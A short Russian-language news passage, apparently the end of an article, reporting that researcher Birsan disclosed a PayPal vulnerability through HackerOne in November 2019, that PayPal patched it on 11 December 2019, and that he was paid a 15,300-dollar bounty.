Бирсан сообщил об уязвимости представителям PayPal через платформу HackerOne еще в ноябре 2019 года. Уже 11 декабря 2019 года разработчики выпустили патч, а специалист был вознагражден за обнаружение ошибки 15 300 долларами США.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *